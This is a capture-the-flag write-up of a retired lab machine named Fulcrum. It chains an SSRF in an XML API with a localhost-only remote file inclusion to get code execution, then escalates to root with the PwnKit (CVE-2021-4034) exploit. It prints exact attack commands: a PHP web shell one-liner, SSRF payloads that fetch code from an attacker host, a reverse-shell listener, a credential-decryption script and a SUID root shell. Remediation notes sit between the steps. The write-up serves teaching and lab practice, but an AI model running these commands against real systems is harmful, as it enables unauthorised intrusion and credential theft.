Fulcrum
Summary
Target Fulcrum ($TARGET) exposed a custom 'Under Maintenance' PHP application on port 4 whose ?page= file-inclusion parameter accepted remote URLs but restricted execution to callers originating from localhost. A companion XML API on port 56423 (Fulcrum-API Beta) made outbound HTTP requests to any URL embedded in its Heartbeat element — a server-side request forgery (SSRF) vulnerability. Chaining the two flaws, the SSRF drove the server to call back into itself on localhost, satisfying the IP restriction; the port-4 app then fetched and executed my own PHP shell, granting unauthenticated remote code execution as www-data.
Post-exploitation source review of the web root uncovered a PowerShell upload script containing a hardcoded AES-CBC decryption key stored beside the matching ciphertext, protecting the password for local account WebUser; decrypting it offline recovered the plaintext credential. On the same host, the polkit pkexec binary was version 0.105 — the unpatched release vulnerable to CVE-2021-4034 (PwnKit) — and the gcc compiler was present; building and running the public proof-of-concept created a SUID-root shell at /tmp/rootbash and elevated the www-data process to an effective-root session, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <base64_ct>, <base64_iv>, <key_bytes> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Service-version scan across all relevant ports including the non-standard 56423.
$ nmap -sV -Pn -p 4,22,80,88,9999,56423 $TARGETFingerprint each HTTP service, reading banners, response codes, and body content.
$ for port in 4 80 88 9999 56423; do echo "=== :$port ==="; curl -si http://$TARGET:$port/ 2>&1 | head -25; doneConfirm exposed phpinfo.php on port 88 for environment variable, path, and credential leaks.
$ curl -si http://$TARGET:88/phpinfo.phpExact commands 3
Confirm the page= parameter exists; direct external call returns maintenance page with no RFI triggered.
$ curl -s "http://$TARGET:4/index.php?page=http://$ATTACKER_IP:8080/probe"Start my listener to catch SSRF callbacks; run in background.
$ python3 -m http.server 8080If my listener logs an incoming GET /ssrf-probe, the Fulcrum-API fetches caller-supplied URLs — SSRF confirmed.
$ curl -s -X POST http://$TARGET:56423/ -H 'Content-Type: text/xml' -d "<Heartbeat><Ping>http://$ATTACKER_IP:8080/ssrf-probe</Ping></Heartbeat>"Exact commands 3
Host the PHP one-liner shell on my box; keep the server running.
$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/r.php && python3 -m http.server 8080SSRF payload: the API fetches localhost:4, which includes r.php from me. URL-encode the inner page= value so it survives as a parameter. Response contains the www-data uid string.
$ curl -s -X POST http://$TARGET:56423/ -H 'Content-Type: text/xml' -d "<Heartbeat><Ping>http://127.0.0.1:4/index.php?page=http%3A%2F%2F$ATTACKER_IP%3A8080%2Fr.php%3Fcmd%3Did</Ping></Heartbeat>"Open a reverse-shell listener on my box, then send a URL-encoded bash reverse-shell as the cmd value to upgrade to an interactive shell.
$ nc -lvnp 4444FixEliminate server-side URL fetching from the Fulcrum-API XML endpointCritical
Exact commands 3
From the www-data shell — locate credential material across the web root; points to Fulcrum_Upload_to_Corp.ps1.
$ grep -RInE 'pass|password|user|key|secret|aes' /var/www 2>/dev/nullRead the upload script; extract the AES key byte array and Base64 IV and ciphertext values.
$ cat /var/www/uploads/Fulcrum_Upload_to_Corp.ps1Replace placeholders with values from the PS1 script; prints plaintext password.
$ python3 -c 'from Crypto.Cipher import AES; from Crypto.Util.Padding import unpad; import base64; key=bytes([<key_bytes>]); iv=base64.b64decode("<base64_iv>"); ct=base64.b64decode("<base64_ct>"); print(unpad(AES.new(key,AES.MODE_CBC,iv).decrypt(ct),16).decode())'FixRemove hardcoded credentials and encryption keys from scripts stored in the web rootHigh
Exact commands 2
Run from the www-data reverse shell; locates the flag at its non-standard path.
$ find / -name user.txt -type f 2>/dev/nullRead the user flag; actual value is <user.txt>.
$ cat /var/www/pma/doc/html/_sources/user.txtFixReplace dynamic remote file inclusion with a hard-coded page whitelistCritical
Exact commands 4
From the www-data shell — confirm SUID pkexec 0.105 and compiler availability on the target.
$ ls -la /usr/bin/pkexec && pkexec --version && command -v gccTransfer and compile the PwnKit PoC (github.com/berdav/CVE-2021-4034) on the target using the locally available gcc.
$ cd /tmp && curl -sO http://$ATTACKER_IP:8080/CVE-2021-4034.tar.gz && tar xf CVE-2021-4034.tar.gz && cd CVE-2021-4034 && makeExecute the exploit; on success creates /tmp/rootbash as a SUID-root copy of bash.
$ ./cve-2021-4034Verify the SUID bit: output should show -rwsr-xr-x 1 root root.
$ ls -la /tmp/rootbashFixPatch polkit (pkexec) against CVE-2021-4034 and remove compilers from the production serverCritical
Exact commands 2
From the www-data reverse shell; -p preserves the setuid effective UID (root).
$ /tmp/rootbash -pConfirm euid=0 and read the root flag; actual flag value is <root.txt>.
$ id && cat /root/root.txt
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 4/tcp | http nginx 1.18.0 (Ubuntu) |
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 88/tcp | http nginx 1.18.0 (Ubuntu) |
| 9999/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.